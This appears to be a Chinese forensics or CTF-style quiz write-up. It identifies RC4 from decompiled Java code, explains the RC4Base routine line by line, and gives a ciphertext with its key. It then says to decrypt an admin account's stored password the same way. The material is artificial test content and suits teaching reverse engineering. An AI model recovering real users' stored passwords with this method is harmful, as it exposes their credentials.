由于RC4是对称加密算法,所以根据key值可以进行逆向
加密后的密文是a45fc1619fcf4d,密钥是zhaohong
A.RSA B.RC4 C.DES D.3DES
由上题中RC4Base方法的源码可知
private static byte[] RC4Base(byte[] bArr, byte[] bArr2) { byte[] initKey = initKey(bArr2); byte[] bArr3 = new byte[bArr.length]; int i = 0; int i2 = 0; int i3 = 0; while (i \< bArr.length) { i3 = (i3 + 1) & 255; int i4 = ((initKey[i3] & 255) + i2) & 255; byte b = initKey[i3]; initKey[i3] = initKey[i4]; initKey[i4] = b; bArr3[i] = (byte) (initKey[((initKey[i3] & 255) + (initKey[i4] & 255)) & 255] \^ bArr[i]); i++; i2 = i4; } return bArr3; }
这段 Java 代码实现了基于RC4算法的加密/解密功能。下面是对代码的分析:
方法 RC4Base 接受两个字节数组 bArr 和 bArr2 作为参数,并返回一个字节数组。
首先使用 initKey 方法对 bArr2 进行初始化,得到一个初始密钥数组 initKey。
创建一个与 bArr 同样长度的字节数组 bArr3 用于保存加密/解密后的结果。
使用循环遍历 bArr 数组中的每个字节。
在循环中,通过对 i3、i2 的更新和交换 initKey 数组中的元素,对 bArr 中的每个字节进行加密或解密操作。
将处理后的字节存储到 bArr3 数组中。
循环直到遍历完所有字节。
返回最终的加密/解密结果字节数组 bArr3。
综合来看,这段代码实现了RC4算法的加密/解密操作,使用了给定的密钥数组 bArr2 对输入数据 bArr 进行处理,并返回加密/解密后的结果。
tj_admin
按照同样的方法解密密码
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。